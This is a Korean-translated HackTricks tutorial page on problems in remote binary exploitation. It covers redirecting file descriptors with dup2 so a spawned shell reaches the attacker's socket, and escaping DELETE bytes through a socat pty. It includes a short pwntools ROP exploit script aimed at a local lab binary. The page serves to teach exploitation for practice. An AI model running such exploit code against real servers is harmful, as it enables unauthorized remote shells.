# Common Exploiting Problems {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## 원격 μ΅μŠ€ν”Œλ‘œμž‡μ—μ„œμ˜ FD 예λ₯Ό λ“€μ–΄ **`system('/bin/sh')`**λ₯Ό ν˜ΈμΆœν•˜λŠ” μ΅μŠ€ν”Œλ‘œμž‡μ„ 원격 μ„œλ²„μ— 전솑할 λ•Œ, μ΄λŠ” μ„œλ²„ ν”„λ‘œμ„ΈμŠ€μ—μ„œ μ‹€ν–‰λ˜λ©°, `/bin/sh`λŠ” stdin(FD: `0`)μ—μ„œ μž…λ ₯을 κΈ°λŒ€ν•˜κ³  stdoutκ³Ό stderr(FDs `1` 및 `2`)에 좜λ ₯을 μΈμ‡„ν•©λ‹ˆλ‹€. λ”°λΌμ„œ κ³΅κ²©μžλŠ” μ…Έκ³Ό μƒν˜Έμž‘μš©ν•  수 μ—†μŠ΅λ‹ˆλ‹€. 이λ₯Ό ν•΄κ²°ν•˜λŠ” 방법은 μ„œλ²„κ°€ μ‹œμž‘λ  λ•Œ **FD 번호 `3`**(λ¦¬μŠ€λ‹μš©)을 μƒμ„±ν•˜κ³ , κ·Έ λ‹€μŒμ— λ‹Ήμ‹ μ˜ 연결이 **FD 번호 `4`**에 μžˆμ„ 것이라고 κ°€μ •ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. λ”°λΌμ„œ μ‹œμŠ€ν…œ 호좜 **`dup2`**λ₯Ό μ‚¬μš©ν•˜μ—¬ stdin(FD 0)κ³Ό stdout(FD 1)을 FD 4(곡격자의 μ—°κ²°)둜 λ³΅μ œν•  수 μžˆμœΌλ―€λ‘œ, 셸이 μ‹€ν–‰λ˜λ©΄ 연락할 수 있게 λ©λ‹ˆλ‹€. [**μ—¬κΈ°μ„œ μ΅μŠ€ν”Œλ‘œμž‡ 예제**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * elf = context.binary = ELF('./vuln') p = remote('localhost', 9001) rop = ROP(elf) rop.raw('A' * 40) rop.dup2(4, 0) rop.dup2(4, 1) rop.win() p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` ## Socat & pty socat은 이미 **`stdin`**κ³Ό **`stdout`**을 μ†ŒμΌ“μœΌλ‘œ μ „μ†‘ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ `pty` λͺ¨λ“œλŠ” **DELETE 문자λ₯Ό 포함**ν•©λ‹ˆλ‹€. λ”°λΌμ„œ `\x7f` ( `DELETE` -)λ₯Ό 보내면 **λ‹Ήμ‹ μ˜ μ΅μŠ€ν”Œλ‘œμž‡μ˜ 이전 문자λ₯Ό μ‚­μ œ**ν•©λ‹ˆλ‹€. 이λ₯Ό μš°νšŒν•˜κΈ° μœ„ν•΄μ„œλŠ” **μ „μ†‘λ˜λŠ” λͺ¨λ“  `\x7f` μ•žμ— μ΄μŠ€μΌ€μ΄ν”„ 문자 `\x16`을 μΆ”κ°€ν•΄μ•Ό ν•©λ‹ˆλ‹€.** **μ—¬κΈ°μ—μ„œ** [**이 λ™μž‘μ˜ 예제λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}